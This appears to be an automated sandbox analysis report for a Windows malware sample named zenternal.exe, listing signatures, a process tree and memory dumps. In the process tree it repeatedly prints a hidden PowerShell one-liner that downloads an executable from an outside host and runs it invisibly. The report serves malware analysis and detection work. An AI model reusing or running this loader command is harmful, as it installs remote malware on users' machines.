Analysis
- max time kernel
148s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
01/11/2026, 20:07
General
- Target zenternal.exe
- Size 5.4MB
- Sample261101-yv55fsey5j
- SHA256 be7af1fcd11c5a73f50c59bcd99d544f0c3abb3d787126700a858d45b0ed3c62
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\zenternal.exe"C:\Users\Admin\AppData\Local\Temp\zenternal.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK898429.exe; Start-Process -FilePath $env:TEMP\BK898429.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK898429.exe; Start-Process -FilePath $env:TEMP\BK898429.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK898429.exe; Start-Process -FilePath $env:TEMP\BK898429.exe -WindowStyle Hidden }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/4948-9-0x00007FFF4F29F000-0x00007FFF4F2A0000-memory.dmp
memory/4948-10-0x0000027A5ECC0000-0x0000027A5ECE2000-memory.dmp
memory/4948-11-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-14-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-15-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-16-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-17-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-18-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-19-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-20-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-21-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-22-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-23-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-24-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-25-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-26-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-27-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp
memory/4948-29-0x00007FFF4F110000-0x00007FFF4FAB4000-memory.dmp